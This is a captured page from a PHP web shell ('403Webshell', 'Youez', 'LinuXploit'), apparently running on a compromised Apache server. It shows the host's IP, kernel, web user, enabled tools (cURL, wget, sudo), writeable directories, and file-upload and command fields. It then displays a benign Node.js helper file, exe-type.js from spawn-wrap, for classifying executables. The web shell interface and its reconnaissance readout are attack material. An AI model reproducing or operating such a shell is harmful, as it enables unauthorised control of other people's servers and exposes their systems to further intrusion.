403Webshell
Server IP : 46.62.235.243  /  Your IP : 216.73.216.217
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux Linkabili3Dicembre 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:40:06 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/nodejs/spawn-wrap/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/nodejs/spawn-wrap/lib/exe-type.js
'use strict';

const isWindows = require("is-windows")
const path = require("path")

function isCmd(file) {
  const comspec = path.basename(process.env.comspec || '').replace(/\.exe$/i, '')
  return isWindows() && (file === comspec || /^cmd(?:\.exe)?$/i.test(file))
}

function isNode(file) {
  const cmdname = path.basename(process.execPath).replace(/\.exe$/i, '')
  return file === 'node' || cmdname === file
}

function isNpm(file) {
  // XXX is this even possible/necessary?
  // wouldn't npm just be detected as a node shebang?
  return file === 'npm' && !isWindows()
}

function isSh(file) {
  return ['dash', 'sh', 'bash', 'zsh'].includes(file)
}

/**
 * Returns the basename of the executable.
 *
 * On Windows, strips the `.exe` extension (if any) and normalizes the name to
 * lowercase.
 *
 * @param exePath {string} Path of the executable as passed to spawned processes:
 *   either command or a path to a file.
 * @return {string} Basename of the executable.
 */
function getExeBasename(exePath) {
  const baseName = path.basename(exePath);
  if (isWindows()) {
    // Stripping `.exe` seems to be enough for our usage. We may eventually
    // want to handle all executable extensions (such as `.bat` or `.cmd`).
    return baseName.replace(/\.exe$/i, "").toLowerCase();
  } else {
    return baseName;
  }
}

module.exports = {
  isCmd,
  isNode,
  isNpm,
  isSh,
  getExeBasename,
}

Youez - 2016 - github.com/yon3zu
LinuXploit